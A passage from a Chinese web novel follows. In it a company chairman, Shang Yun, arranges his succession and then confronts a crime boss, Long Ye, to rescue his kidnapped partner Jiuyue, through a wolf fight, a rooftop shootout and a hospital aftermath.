严教官承诺道:“当然,我会尽我所能保护他。” “好,我们随时可以出发。” 四人商议好出发时间,木信和严教官便离开了。严教官从尚云处获得厚山科技地址,从训练场调度两名辅导员同行,他们都有保镖资历。 尚云发信息给严教官:“一定要保证自身安全,不可冲动。” 他已经有最坏的打算。 随莫诚和琳达在一起,箫小竺最多不同意放人,不会对严教官他们怎么样。但如果起冲突就很难说,箫小竺不像听取劝告的人。所以才这么嘱咐他们,一旦木信这个方法行不通,他会亲自前往。 他前段时间飞去北美分公司,带着杰克和几个高层亲自上门给受到此次事件影响的客户诚诚恳恳道歉。大多数客户表示理解和同情,甚至鼓励普世坚持下去。 这让尚云很感动。 他很庆幸普世这些年来一心站在客户立场,为众多企业、员工谋求发展与利益,才会有这些忠实的拥趸者。公司的营利大部分投入到员工待遇福利和新研究中,在国类和欧洲那边研究新成果的试点企业也是做慈善式的单方投入,并没为自己牟利。 普世做出的成果摆在那里,没有人可以轻易抹去。 但自己如果做出反抗,只会让那股势力找借口打击普世和客户,因此,不仅不反抗,还宣布休战。 在国内很多客户已经发出了翻天覆地的变化,远远超出客户自己的预想。这让国内市场对普世的呼声更高了。对于普世的遭遇,开始出现大多数人出面声援,在网上掀起热点。 第二百零三章 尚云安顿普世事务 普世自己的媒体和公关部门,也做了相应的工作。 联络二十多个国外媒体,将事件透露出去,不含观点的持续报道,只陈述事实,跟进事件发展进度。 在众多媒体的关注下,一些非主流媒体也不落下风,渐渐持续关注报道,普世文化事件在全球范围人尽皆知。 事情在一夜之间发酵到极点,铺天盖地的评论一面倒的声援普世,事件用让人惊讶的方式爆发了。所有受到影响的客户和试点企业联合起来主动大面积停工。 他们抗衡不了莫名其妙的压制,只能以他们自己的方式讨要公道和自由。工人们的游行示威队伍壮大,但主题已经反转风向。 “支持文化改革,支持全球文化一统。” “还我们尊严和归属,文化一统给我们未来感和价值感。” 承受巨大风暴压力的那股势力,搬起石头砸自己的脚,只能收手恢复正常,停止动作平息此事。 此事件也让世人看到普世文化所坚持的人道主义和文化一统项目带来的正面效应,再一次证明普世所走是艰难而正确的路,在全世界瞩目下被广大企业认可。 尚云再一次相信,这是老天的安排,将这场战争蔓延到如此之广,声势如此浩大,普世不费一兵一卒便取得胜利,可说普世在此事件中得天独厚,转危为吉了。 尚云跟杰克长谈欧州分公司和北美分公司的发展,包括未来几年蓝鲸团队的组织发展和上市计划,他预测肯定会面临爆发式增长,所以一定要未雨绸缪。并将自己的长远目标告诉他,让他跟木信积极配合,一起带队将普世推上目的地。 杰克隐隐觉得尚云跟他谈论的不是寻常内容,很有将普世海外事业托付给他的意思:“董事长个人有什么新打算吗?” “一切具有变数,中国人普遍有危机感,必须积谷防饥,有备无患。就当未雨绸缪,这是很正常的事。”尚云笑笑,不想透露自己的个人计划,如九月所言,他的终极目标必须他在位才能实现,但情非得已,他要做好最坏的打算。 他离开公司后,木信担当重任,尚云没让他跟严教官一起去西峰山。 尚云回国后,找木信也促膝长谈。大意也跟杰克所聊差不多,但是,他另外有两件事情嘱咐木信:“有两件事一定一定要落实。不管届时是我在位,还是你在位,都必须这么执行。” 木信见他神情凝重,便不敢大意:“尚总请说。” “第一件事,没有基克纳公司就没有普世的今天。这一点毋庸置疑。公司在未来两年内一定会上市,我准备以公司股权的形式回馈张董和贾总,拟好的计划在我放在保险柜里,我会将钥匙交给你保管。第二件事,研发部由查理主导的研发项目才是公司的终极目标,一定要高度重视,无论如何要保证项目的顺利进行,要尽全利支持查理的决策。这两件事同等重要,高于一切。” “好,我记住了。”木信面色沉重,“尚总,你跟我说这些,是不是太早了?” “你跟我这么多年,是我最信任也最看好的人。从去年开始,我就授权给你高于总经理的权限,让你慢慢过渡,就是为了有一天我不得不离开,你能马上转换到我的位置,掌控普世的大方向盘。”尚云继续说道:“每家公司肯定多多少少会含有创始人的个人意志,因此我这一年多也在不断调整公司的运营模式,设置一系列行之有效的管理模式,结合总部和各个分公司独立运行的特点,淡化我在公司留下的风格痕迹。为的是任何人取代我的时候,公司都能顺利过渡,不至于发生大颠簸。” 木信这一年来也看出来了,他点点头,“尚总的良苦用心,我都知道。可是,我担心自己挑不起这样的重担,你是我的精神支柱,你在我便什么都敢做,因为我知道既使决策失误,还有你托底。可是你离开,我不知道自己是否能撑起普世。” “你不用给自己那么大的压力,甚至不必以我为标准,要在内心里将我的印象粉碎。建立你自己的认知体系。”尚云理解木信的担忧。 但是木信不理解,他已经习惯以尚云为标准,当初就是充分学习他,自己才得已有今天的建树。 接下来,尚云说了一段让木信瞬间突破迷雾的话:“听我说,世上没有一模一样的两个人,去模仿别人不如雕琢自己。我相信自己的眼光,选你做接班人有我的考量。并不是你跟了我多年所以我要把你推上这个位置,如果这样想,只能说明你还是不够了解自己,也不了解我。” “如果说普世过去几年一直在拓展疆域,那么公司的声势到达顶峰,这个阶段已经马上就要结束。用中国传统文化《易经》来说,已经到了乾卦‘亢龙有悔’阶段,必须沉下心来,继续回归到潜龙的位置上来。 你做事谨慎,细心专注,能看到别人看不到的价值,发现别人发现不了的漏洞。再优秀的公司文化也不可能尽善尽美,随着时间推移,一些曾经的优势会变成劣势,你要引导团队潜心改善。 当普世足够强大时,就需要你这样的领导人来维稳。你立足在这片疆域里完全可以施展拳脚,按你的想法去做事。再用我之前的模式就行不通了,就像我之前跟你说的,你要学会途中时不时的抬头看路。思考公司在哪个阶段去做相应的布局。 我开垦出这片土地,接下来你负责让这片土地丰盈起来。 所以,眼下你的任务就是去尽可能的完善公司的‘文化一统’项目,在上市前将它版本升级,一定要趁早布局。 世界上只缺创新,但不缺复制、粘贴,‘文化一统’项目很快就会成为同行们的研究课题。你还记得金仕集团的强大对手‘海量公司’吗?对手就是这么来的。公司要为这么多员工生计负责,我们不能麻痹大意让历史重演。 当务之急,你要带着团队把有缺陷不足的地方变强,把有优势的地方打磨得更尖锐,另外再丰富、提升其他产品的内容,与时俱进,及时革新才能立于不败之地。 我让查理研究的项目不会马上出成果,是一项长期投资,但是却无比重要,是我成立普世公司的初衷。只有实现它,普世才算完成使命。” 木信感觉迷雾散尽,但仍然轻松不起来。 尚云打算结束谈话,最后鼓励道:“你这半年来也组建并完善了自己的核心骨干班子,做得很好。我相信自己的眼光,选择你做接班人,是因为你有能力或者说有潜力扛这份重担,不妨大胆一些,拿出你同我开拓业务时的魄力和决断,从我身后站出来。 如果仍然迷茫,你就想想普世的核心文化,想想客户的需求,永远把公司核心文化和客户的需求当成公司行动的指南针。你自然知道什么决策是正确的。” “明白了,尚总。在我心里,你不仅仅是我上司,一直将你当成亲人,当成老师。”木信语气沉重:“我希望你好好的。也希望未来能继续跟在你身边。” 尚云欣然一笑,拍拍他的肩膀,“去忙。” 第二百零四章 尚云做最坏打算 木信走后,尚云给普世全体员工发了一封邮件。 “普世的将士们:祝贺你们,又一次取得赫赫战绩! 你们记住,公司的经营理念是‘不以营利为最终目的’,我们的使命是‘帮助客户实现愿景和使命’,公司的核心价值观是,‘客户没想到的我们要做到,客户想到的我们要做到极致’。 无论站在峰顶,还是山脚,这些初心都不能改变;无论被人打压还是自己身为强者,都要照着这个方针做事。 你们是我的骄傲,也是普世的骄傲。我们有幸,能有机会共同做这项伟大的事业,多年以后,要不悔当今的任何一个决定,你会为自己的付出与成就深感荣幸。 你们都是世界上最强悍的勇士,是对手闻风丧胆又尊敬的敌人,‘文化一统’项目是普世的硕果。普世是你们大家的,也是普世的儿孙后代们的,把这个有普世意义的事业做下去,传承下去,实现‘世界大同’靠普世每一个人!此邮件不必回复。” 接着普世的微信总群气氛燃了。 第二天,严教官打来电话,说道:“老板,我们没见到箫小竺,她手下一个叫席浪的人告诉琳达,箫小竺与龙爷产生矛盾,现已被龙爷控制。昨晚在我们赶来之前,九月也被转移了藏身之地。所以我们现在的目标不是箫小竺,而是龙爷。关键我们并不知道龙爷是谁。” “龙爷?”尚云重复这个名字。这个消息出乎他的意料,压根没想到箫小竺身后还有人。但仔细想想也合理,她年纪轻轻,怎么可能运作那么大的局面。 “之前阿闲调查过雷默控股人员的背景,发现有两个股东是假冒顶替的,这两个人的股份实际掌握在另外的人手里。可惜,调查结果没能到我手上就被截获了。”尚云若有所思,直觉告诉他,很有可能,这个龙爷跟父亲的死有很大关系。 他脑海里浮现幼年时期一些记忆片段。 “这是你儿子?出落得很英气嘛!”那人笑道,记忆中他的长相已经模糊,那个人斜阳下逆着光在门口跟父亲握手,他拇指上的绿宝石扳指特别显眼,让人过目难忘。他身后跟着三个人,他记得很清楚,其中一个便是箫章。 “呵呵,徒有皮囊成不了大器。”古力祥转开话头道:“以后就仰仗您照拂了,雷默的明天是上天还是入地,全在龙爷一句话。” 那个人走后,父亲脸色很难看。 当时十二岁的他站在那里,一向宠爱他、以他为傲的父亲却严厉地叫他去学习。头一次朝他发那么大火。 记忆中,父亲迎来送往的人虽不全是朋友,也都是互利互惠的合作关系,没有人会让父亲如此忌惮,又如此恼怒。 严教官稍一迟疑,说道:“我去查查。” “不用了,这种事你不擅长,先回来,必须保证莫诚和他家人的安全。” “老板,我” “听我的,你先回来。后面我有安排。” “是。” 又是夜幕降临,雷雨阵阵。 尚云不知不觉来到三楼阳光花房。前年春季,也差不多是这个时候,下着暴雨,那时普世陷入沼泽,他一筹莫展。九月突然发信息给他要见面。 他匆匆下楼时,她已经站在一楼客厅里。 她常说,世上就没有他解决不了的事。 可在他的心里,也认为只要有她在,很多困局就变得有解。 尚云透过阳光花房的玻璃,凝视路灯照耀下闪着银光的纷乱雨线。别墅区宽敞大道两旁的树,被狂风吹得东摇西晃。闪电在上空闪烁,犀利而短促。 九月生死未卜,他内心如落进油锅煎熬,滋滋叫嚣着爆烈开来,疼得他窒息。 如果他猜测的没错,那人一定会打电话给他。 他沉住气,等待电话铃响。 电话铃声在雨夜划破寂静,那是一个无法显示来电的电话,他猜得没错,终于来了。 尚云深吸一口气,接通电话:“喂。” 那边没有回应。 “既然敢打电话过来,为什么不说话?” “古尚云是?”听声音很遥远,明显开着免提,对方声音有些浑厚,虽是疑问,语气却很笃定。 尚云心里一咯噔,知道他姓“古”,对方应该早就摸清了自己的底细。尚云镇定道:“看来是故人。” 另一个年轻的声音传来:“明人不说暗话,你的女人慕九月在我们手上,有两个条件,你若识相便可以放了她。” “什么条件?” “第一个,交出你们在波士顿拿到那些的东西。第二个,听说你的普世在全球开花了,威力很大嘛,如果你愿意将普世的50股份给我,那咱们就成交。”这次还是浑厚的声音,对方说完,轻轻笑了一下。“你可以考虑,但我的耐心有限。” “我同意。但我要听见慕九月的声音,确定她在你们手上。”尚云立即答应。 “你小子不会是玩什么花招?答应得这么爽快?” “我在你们眼中没有秘密,能耍什么花招。你们既然拿她来威胁我,肯定知道她在我心里的重要性,我有什么豁不出去的?”尚云冷冷道。 话筒里一时没了声音。尚云看了看手机屏幕,仍在通话中。 九月像是刚被撕开了堵住嘴巴的胶布,声音急促而悲凉:“尚云,不要相信他们,这是圈套啊!” “九月!”尚云听见九月那一声惨叫,心倏地揪紧:“卑鄙小人,你不许动她!” “古尚云,你的女人真是不懂事,替你调教了一下。你要是也不懂事,后果很严重哦。”年轻的声音阴阳怪气。 “我亲自把波士顿拿到的资料和普世的股份承诺送过来,我说话算话,你们马上放了她!” “啧啧啧!不亏为普世的董事长啊!一贯颐指气使的派头。现在是你在求我,听着,把我们要的东西寄过来!看到东西我们立即放人。”年轻声音也不是省油的灯。 “你们敢赌吗?资料我随时会交给警察,她有个三长两短也正好坐实了你们的罪行。”尚云发狠说道:“到时谁求谁不一定。” 那边果然没再说话,大概说话的人在请示,好一会儿,才听那个浑厚的声音再度响起,幽幽说道:“古尚云,古力祥都不敢跟我这么说话,看来现实没教会你怎么低头。地址记好了,我只说一次。” 接着他说了一个地址,便挂断电话。 第二百零五章 尚云将九月托付给朱明 尚云目光中寒光冷冽,注视着户外如注的雨水。 他走近花架子,一排排月兰长势喜人,良久,他拨了电话:“朱明,有空见一面吗?” 对方似乎对上次的事情还有气,不太情愿地讽刺道:“我们还有见面的必要吗?” “也许是最后一次了。”尚云淡淡道。 朱明愣了半晌,说道:“我就在家里,滨香苑。” 两人约定在滨香苑高楼区第八号凉亭见面,那里视野空旷,比较僻静,还淋不到雨。两人在同一个小区,划分区域不同但路程不算远。 朱明来到凉亭时,尚云已经先到达那里,雨伞收起来像拐杖一样拄在手掌间,茕茕孑立于亭中央。他长身玉立站在那里,他大老远就能感受到他的稳魄气场。 十五年前尚云一出现在慕家,他就知道自己各方面都逊色于他,但他从未服气,觉得总有一天自己会让九月知道,他才是最优秀的那个。 但现在看来,不管比感情还是比能力,他都输得彻底。 就像九月小时候常说的那句话:天下就没有尚云解决不了的难题。 只要有古尚云在,他身边的人都像吃了定心丸。别人没想到的,他能想到。别人没做到的,他能做到。他总有办法控制全局,切中事物要害,掌握事态发展。 在自己的圈子里,朱明自身已经是人中龙凤。而一近身尚云,他就光华尽失。 这一场漫长的爱情角逐,他早已毫无胜算,注定了是盘败局。谁让他遇上了尚云这个情敌?谁让九月也偏偏钟情于尚云?但是,除了私底下的感情竞争,他对尚云是由衷佩服的。输给尚云,他心服口服。 朱明走进凉亭,对面前的身影说道:“不好意思,忘拿手机又回去了一趟,久等了。” 他牵了牵嘴角,“这种天气把你叫出来,不好意思的人是我。还有,上次动手是我不对。” “那不是我先动的手吗?”朱明淡淡一笑。“当时气头上,情绪有些失控。所以一直也没好意思问你,你跟九月联系上了?我一直打不通她电话,但我到现在为止也没听到不好的消息,就默认你们没事了。” 尚云收敛笑意,平静道:“这正是我找你的原因。我想拜托你一件事。” “什么事?这么严肃。”朱明想起他在电话里说的那句话,有些不详的预感。 “我遇到一些事需要涉险去解决,九月也被牵涉其中。但我会想办法救她出来。万一,我不能回来,九月就拜托你帮忙照顾。我一直都知道,你是一个值得托负的男人,把她交给你我放心。另外,你是她的心理医生,无论如何都要说服她正视自己的心病,不能再拖了。”他见过几次她发病时的样子,实在放心不下。 朱明怔怔听他说这些,很意外,也有一些促不及防:“你说我是值得托负的人,可九月在很早之前就已经明确拒绝我了。她喜欢的人一直是你,除了你,没有人可以给她幸福。我不管你遇到什么事,你一定要平安归来,否则,她将用整个后半辈子的快乐去陪葬你们的感情。” “她怀孕了,但凡有别的办法,我不会做这个决定。拜托了。”尚云朝他鞠了个躬。 他郑重其事的托付让朱明心里很难受,九月怀孕的事也让他很惊讶,再也说不出拒绝的言辞来。 尚云再没有别的话,道一句“告辞”便消失在雨幕里,那决绝的身姿让人看了心生苍凉。 第二天,尚云孤身去了龙爷指定的地点。 那是西峰山北面一栋洋楼里,刚下车,就有好几个人围过来。尚云说道:“龙爷叫我来的。” 有人反剪尚云的手控制好他,尚云也不反抗,任他们给自己蒙上眼睛,堵住嘴,再把手给绑上。 然后塞进一辆逼仄的车里,车子启动了,尚云被蒙着眼睛,但心里却凭着感觉分辨车子行驶的方向和距离。下车时,感觉走入室内,一股潮湿的味道扑面而来。 他侧耳倾听环境里发出的细微声音,判断周边的情况。走了没多远,他被推入一条很窄的楼道,两个人并行都有些挤,越往下,投在黑布条上的光线越来越暗。 有人将他一推,他始料不及,重重摔倒在地,脸撞在地上没想像中那么疼,地板上竟然铺着地毯。他闻到房间里有一股雪茄味,还有淡淡地香水味。 嘴上的胶纸被撕掉了。 电话里听到过的浑厚声音从前方传来:“东西呢?” “东西我放在安全的地方,我要先见到人。”尚云被蒙着眼,毫无畏惧地说道。 有人一脚踢在尚云的背部,“在龙爷面前还敢耍花招!你胆子不小!” 尚云被赐翻。有人拦住了那人,解开他的黑布。 “很有胆识啊!”面前沙发上坐着一个五十来岁的中年人,身材干瘦,头发稀少但很长,绑了个小尾巴。他右手捻着左手拇指上的绿宝石扳指,抬起眼似笑非笑的说道:“小时候就夸过你,长得英气逼人,长大了果然是个不简单的人物。” 尚云盯着他指间的绿扳指,嘴唇勾了勾:“龙爷好记性。” “说,东西放哪了?”龙爷问。 “我说了,先见到人,否则你们休想拿到东西。” “龙爷,要不把他做了?”说话的正是身后踢尚云的人。 “说了多少遍让你少沾血腥,肖能就比你强多了,从来不自己动手。” 龙爷起身,将尚云从地址拽起来:“我有一只狼,每天都用生肉喂它。上次有个叫阿闲的叛徒,就是败在它的嘴下。浑身上下被撕咬得没有一块完整的皮肤,处处都露了骨头。” 尚云银牙紧咬,脑海浮现那些照片,强忍住悲痛,额头青筋凸显,低头默不作声。 “如果你再把东西交过来。”龙爷笑了笑,“我就让你亲眼看看慕九月跟它是怎么相处的。” “你敢!”尚云虎目赤红,浑身因愤怒而发抖。 “哈哈哈”龙爷笑得很开怀,“激将法吗?我喜欢吃这一套,带上来。” 尚云紧盯着门口,一股寒气从心底冒上来。 不一会儿,门口遽然出现被捆住手脚的九月和秦小竺。那人一松手,两人立即软在地上。秦小竺背对着他,他看不到她的脸。九月则长发凌乱披散,额头上的血迹延伸到衣衫上,斑斑血迹已经干涸,发黑,越发衬得脸色苍白。 他倒吸一口气,心中又惊又痛:“九月!” 听到他的叫声,九月死寂的眼里闪现微弱光芒,看到尚云,她立即泪眼婆娑,猛烈摇头。秦小竺也转过头来看着他。 尚云朝九月刚走近几步,就被猛然闪来的人影踢中腹部,他闷哼一声,顾不上痛,朝九月又走了两步,背上再次受到猛击,他应声倒地。 九月和小竺两人皆是被封住了嘴,只能急得泪如雨下。 第二百零六章 与狼搏斗 另一扇门也打开了,房间里有一只两米多高四米多宽的铁笼子,一只壮硕的狼足有一米多高,目露凶光,口角涎液直淌,这是一种条件反射,平时一开门即会喂肉。 人在笼子里面不太活动得开,也逃不掉。古尚云不敢细想阿闲的处境有多惨烈,更不敢想像九月被关在笼中的情景。 龙爷扬了扬下巴,两个人架起九月就朝房中笼子走去。 尚云嘶声喊道:“慢着,我给你们。” “早这么说大家还能做朋友,非得耍聪明。”龙爷好整以暇地说道。 这时有人匆匆过来,在龙爷耳边说了什么。龙爷听了,恶狠狠的抓住尚云衣领,“你他妈敢报警!带走,全带走!” “龙爷,开车还是?” 龙爷一掌拍过去:“这时候了开车能逃出去吗?先暗道出去,打电话给肖能开直升飞机来。” “是。”这人又问:“那这两个人质呢?” “带上,有人质在手上,他们不敢把直升飞机打下来。” “好。”这人第三次问:“他呢?怎么处理?” 龙爷终于失去耐心,又一掌甩过去:“你怎么那么多问题,拿去喂狼啊,还用问。” “是。”那人捂着脸,从鼻子里流出血来,手一招,两个汉子过来,架着尚云进了房间。 “唔!唔!唔!”九月泪水涟涟,发出嘶声裂肺的声音。 尚云在他们给笼子开锁的间隙,咬牙憋着一股劲,生生将腕间的绳子挣断。一拳用全力击在对方脸上,那人闷哼一声倒地,另一个人打开了笼子,也被尚云一个空摔,躺在地上爬不起来。 三两下放倒两名汉子时,此时打开的笼子,狼的半只身子走出笼外,从喉间发出低吼,狡猾凶恶的目光一瞬不瞬死盯着尚云,找准时机就朝尚云冲了过来。 尚云不敢轻敌,赤手空拳对付一头养膘了的狼。它尖利的牙齿咬住尚云的胳膊,尚云吃痛,一拳朝它咽喉处袭去,但这只狼非同一般,居然死咬不放手,鲜血在它的尖齿下汩汩流出,他的位置不好发力,尚云连续好几拳击打在它咽喉,狼才终于松口摇晃了一下。 又朝他扑了过来,血盆大口张开就直接他的喉咙处。尚云不敢大意,两只手紧紧控制住狼的上下颌,狼的尖齿刺破了他的手掌,硕大沉重的身子压在他的身上,一般人绝无反抗之力。 尚云心系九月,怒吼一声,手上用尽全力,将狼的上下颌活活撕开了。狼血洒了他一脸。狰狞可怖。 眼看着狼咽了气,他将狼推到一旁,爬起来直追龙爷一行人,龙爷等人早就已经逃逸。 地下通道的入口被封住了,他奋力撞击,厚实的钢门很牢固,毫无反应。四周恢复死寂,如地狱一般的阴冷弥漫在他周身。 他转身朝进来的通道奔出去,半途遇见三个人,眼看就要动手,暗黑中对方点亮打火机,尚云听到一个熟悉的声音说道:“自己人。” 尚云问道:“宇琪?” “对,是我。你怎么在这?” “龙爷带着九月跑了,秘道被封死,我们要赶紧去追,他们一定会在附近宽阔地带坐直升机逃走,要截住他们。” 一旁的阿智说道:“我知道附近有个地方可以落直升机,往回走,快!” 一行人火速逃出通道,尚云出来一看,原来还在西峰山附近。警察分成两支队伍,一支去了厚山科技,一支埋伏在附近。 宇琪跟他们打招呼,说人已经准备坐直升机逃走。 几个人上了尚云的车。“是你们报的警?” “对啊。他们人多,凭我们几个没办法。” “证据不足怎么报警?” “有证据,除了那纸测试报告,还有一个证人。” “谁?” “莫诚。有他的帮忙,已经立案了。” 尚云恍然。莫诚一直是个正直的人,尤其他少时便代替父亲弥补九月那些事,以及他与正派企业比如:基克纳集团这样的企业走得比较近,年纪尚轻创业时即懂得向高人虚心问学,这让尚云刮目相看。 如今亦能站出来指证厚山科技,意味着将胞姐送进监狱,这样大义灭亲虽然凛然高尚,但在现实中却不易做到的。 正想着这些有的没的,忽听一直没出声的小卫说道:“糟了!直升飞机就在头顶,我们要快。” 但车子开到一处叉路口,一条直阔的路变成两条小径,车子无法开往前行驶了。 四人下车,阿智带着尚云一行人选择了一条道,往目的地去了。 “他们果然走的这条道,你们看。”阿智指着地上变成暗红色的血迹,凝眉道。 尚云也注意到那些触目惊心的血迹,气息收紧。 宇琪一言不发,只是怔怔看着血迹。天空中突然传来震耳欲聋的隆隆声,抬头一看,原来是一架小型直升飞机在头顶盘旋,挑衅。 “不好!”尚云惊叫一声,率先朝山上跑去。 山腰有一间很大的平房,平时是西峰山的工作人员住所,房顶上铺了水泥,平整宽阔无障碍,足以让直升机驾停。一旦让龙爷等人登上直升机,那就彻底失去救九月的机会。 便衣警察也听到动静,往山上追奔过来。 “有更快捷的路吗?”尚云问,从山底到山腰费时费力,一定来不及救人。 “从这边绕到后边,是一个石坡,太陡,不一定能爬上去。”阿智说道。 话音未落,尚云已经从他指的那个方向走了。 “以前听阿闲说这位尚总身手不凡,看来确有其事。”阿智喃喃自语。 “我们按原计划赶紧追,龙爷他们也还没到那上面,他们带着人质速度不会太快,不然飞机不会在这里逗留。”宇琪没听清他在说什么,催促道。 “没错,跑快点能追上。”小卫也附议,他拍拍仍追着尚云身影发呆的阿智。 追了一阵,看到龙爷一行人的身影,已经接顶房。他们一路追过来本已累得不行,这时又如打了鸡血奔了上去。 直升机在房屋上空盘旋,旋桨的风把周围落叶和盆花吹得一片狼藉,但迟迟不敢停下来,因为警方正不断朝飞机射击。 龙爷一行人却在房屋前不动了,三人追上去,大吃一惊,发现尚云已经等在平房前。这速度让他们惊愕。 龙爷拿枪指着九月的头,阴沉着脸,“别过来。” 为了便于带着走,箫小竺和九月脚上的绳子早已经解开。尚云留意到,九月所踩过的地方皆留下血印,路上看到的血迹有可能就是她脚上的伤。 九月趁着他们挥刀割断绑绳时,故意一脚蹬上刀尖。脚上有伤每走一步都钻心的疼,被蔡志和龙爷推推搡搡,行走缓慢,给警方留了宽余时间截住他们。 尚云大声说道:“我自愿做你们的人质,你把她放了,我配合你们逃走。要知道我比她更有利用价值。” 他与九月绝望的目光相对,她眼里亦有赴死的决心,不赞同他自愿做人质。 第二百零七章 箫小竺为九月反击 龙爷多疑,自是不会再信他:“少废话!让我们过去,否则,你就等着给她收尸。” “龙爷,时间不多了。飞机载油量不够,只怕飞不出国境。”蔡志提醒道,他手里还有秦小竺。 “让开!”龙爷朝尚云开了一枪,幸好他闪避过去。连开了几枪,尚云就地滚动,躲在平房侧面。 他们进了房中上了楼梯,尚云望了望四周,看到白色水管沿着墙壁,延伸到楼顶。 便抓住水管轻盈地攀爬到顶楼,气喘吁吁地躲在门口。 宇琪他们和警察则迅速涌进平房里,堵住去路。 警察用喇叭喊话,叫他们放了人质投降。蔡志焦急说道,“龙爷,我们已经没有退路了。” 龙爷瞪他一眼,他立即噤声了。 “快走!”龙爷推了推九月,九月脚下血迹没干过,被他一推,九月立即倒地。箫小竺不知哪来的勇气,奋力用肩膀撞击蔡志,将毫无防备的蔡志撞了个趔趄,一脚踩空,从楼梯上滚下去了。箫小竺趁机往上两个台阶,用头撞开龙爷。 但龙爷有所防备,箫小竺扑了个空,重重摔在楼梯上,手被绑在后面,摔倒半天爬不起来。 龙爷抬腿踢了她一脚,“快走,蔡志!” 但已经晚上,躲在一楼楼梯口的阿智趁机奔上楼梯,与蔡志扭打在一起。龙爷顾不上那么多,朝楼下放了几枪,就带着九月就往楼顶逃。 随着宇琪也加入阿智的扭打,蔡志很快被抓获。 宇琪和阿智紧跟着追着龙爷,发现刚登上楼顶的龙爷被人一脚踢了下来。九月也连带着往楼梯下倾倒,幸好尚云眼疾手快,揽住她的腰带了上来。 看到尚云出现在面前,九月又惊又喜,尚云将她拉到安全区域,解开她手上的绳子,让她在地上坐着别动。龙爷爬起来反身就钳制住旁边闪避不及的箫小竺,用枪指着她的太阳穴。 “你来呀!一命抵一命!”龙爷恶狠狠说道,携带小竺又一步一步走向楼顶。 尚云刚走到楼梯口就停住了,脚下慢慢往后退,待龙爷和小竺上来后,他做出了一个高难度动作,撑住手边一根木棒腾空两三米高,一脚落在龙爷手上,枪落在地上,接着他的拳头落在龙爷胸口和脸面上。 龙爷倒地,连吐了两口血,奄奄一息。 他半眯的双眼依然盯着头顶的飞机,脸上露出可怖的笑。 尚云则皱眉盯着他,将地上的枪踢开,以防他再反击。 九月坐在暗处,抬头看了看,直升机突然飞低,侧门洞开,她心中警钟狂响。 惊叫了一声“尚云”,便咬牙奔过去抱住尚云,转了个方位,就听“啪”的一声枪响,一颗子弹飞了过来,直接击入九月头部。 警方枪声同时响起,直升飞机被打成筛子,掉了下来。 尚云面无人色,抱住应声倒下的九月,双膝受力跪在地上,用手护住她头部,随后发现自己手上染满了她的鲜血。 无尽的恐惧充斥尚云心间,喉间如针扎,痛呼她的名字:“九月!九月!” 箫小竺难以置信地怔怔看着九月头部鲜血直流,泪如泉涌。 九月视线模糊,嘴唇张了张,说不出半个字,殷红的血液从嘴角淌下来。 “九月!”宇琪和阿智也奔了上来,宇琪看到这一幕,踉跄了一步,阿智扶住他。 “救护车,医生在哪?”宇琪朝楼下狂呼:“医生!医生!” 阿智也跟着叫道:“这边有人受枪伤,快来救人。” 尚云满脸满身都是鲜血,跪在地上小心翼翼抱住九月,不断擦试她嘴角和头部涌出的鲜血,哭得几乎接不上气,任谁看了都心碎。 刚爬上山的医护人员已经过来。尚云不愿松手,死死抱住九月,泣不成声。 “尚云放手,交给医生,九月不会有事的。”宇琪又急又痛,不断劝道。 劝说无效,最后在宇琪和阿智架住他,医护人员这才将九月抬上担架,一路加急送进了医院。 现场一片狼籍,警方拉起警戒线,开始清理现场。 刚发生的一场恶战,就像一场梦。有些人在这场梦里清醒,有些人在梦里重生。 一线记者也出现在第一现场,拍照、报导,龙爷和肖能、蔡志全部落网,被控制住了。厚山科技也被查封,但遗憾的是一无所获。生物监控科研室里有相关设备,但东西也被清理得很干净。 案情只能算作寻常绑架案。 尚云寸步不离,守在九月身边。手术很成功,但还未脱离危险,仍住在重症icu病房。 九月怀孕的事,经医生查验后发现子虚乌有,这是箫小竺的谎言。但值得庆幸,因这个谎言曾经激起了九月的求生欲。 尚云反而悄悄松了一口气,对九月而言,这是不幸中的大幸。 九月昏迷不醒,阿智和宇琪来过医院几回,一是探望九月,二是想见尚云。 尚云对探望者一概拒绝,嘱付医护人员不让任何人靠近。自然对宇琪等人也拒不见面。尚云整个人消沉到极点,常常不吃不喝不睡也不言,握着九月的手,一坐就是半天。 胡须留了很长也没修剪,整个人又瘦又憔悴到脱了相。与从前的英俊风度已判若两人。 但他们心急如焚不是这个原因,龙爷的案子现在最多算参与绑架案,有伤无亡,不会受到应有的惩罚。 这几十年,他们手里有太多血案,判死刑都不为过。 阿闲当初查到的资料,可以作为呈堂证供,交给警方。但这些资料都在尚云手里,他连面都不愿见,对世事也不再关心,他们束手无策。 这天黄昏,普世公司的律师向警方提供了大量资料,以期警方能给予犯罪嫌疑人应有的惩罚。而同一天,箫小竺突然叫来看守员说要自首其它罪行,她要说出所知道的很多内幕,条件是要见一见九月。 在警方跟尚云三番两次的交涉下,他终于同意小竺来重症病房见九月。箫小竺一时没认出尚云,但那双失神的眼晴看向她时却暗含警告。 她才恍然猜出他是尚云,心中凄凄然。 第二百零八章 罪有应得 小竺在九月病床前坐下,看着面如死灰的九月,一时潸然泪下。 “九月,我是小竺,我对不起你,如果不是我当初绑架你,你就不会躺在这里,我知道现在说这些已经没有意义了,但是我真的后悔,很后悔。 你知道吗?一直以来,我羡慕你,甚至嫉妒你。虽然你十五岁遭遇不幸,失去一切。可是你至少拥有过那么多人的疼爱,还有尚云这样的翘楚人物珍视你。 我虽然生在一个完整富足的家庭里,却活得像一棵无人问津的小草,关于家的美好印象非常贫瘠。 我自暴自弃,不愿念书,颓废度日,假装乖巧,想获得家人哪怕一点关注,我也就满足了。但是很失望,于是我羡慕别人有温馨的家,以为自己会一直这么孤独下去。 可是你出现了,你将我看得比自己还重。你说,我们都是老天忘记照看的孩子,不如我们彼此温暖。那时你劝我,说要努力爬到光亮的地方那番话鼓励我,我一直记在心里,可惜我努力的方向错了。 我在接受你这些温暖的时候,都会心里发虚。因为我频频利用你。 当初是我设计将你推入陷阱,你才会被席浪他们抓住,关进‘暗狱’吃尽苦头,留下了心理阴影。 但第二次你却因骨子里的正义善良,为了帮别人又被卷进去,还折断山鬼一根手指。最后你凭着一腔孤勇和经验,带他们侥幸逃脱,直到被人解救。 其实我在暗中帮你,否则你们怎逃得掉那么森严的守卫。 你有时很机灵,有时是真的傻,给自己带来那么多危险而不自知。山鬼明面上答应我不动你,却总想背着我找你麻烦,莫诚也碰到过,以为是我父亲派人跟踪,只有我知道他真是冤枉了父亲。 好像冥冥中有天意,我父亲害了你父母,又因为你,被自己的亲生儿子气进了医院,林作杰才趁机害死他。 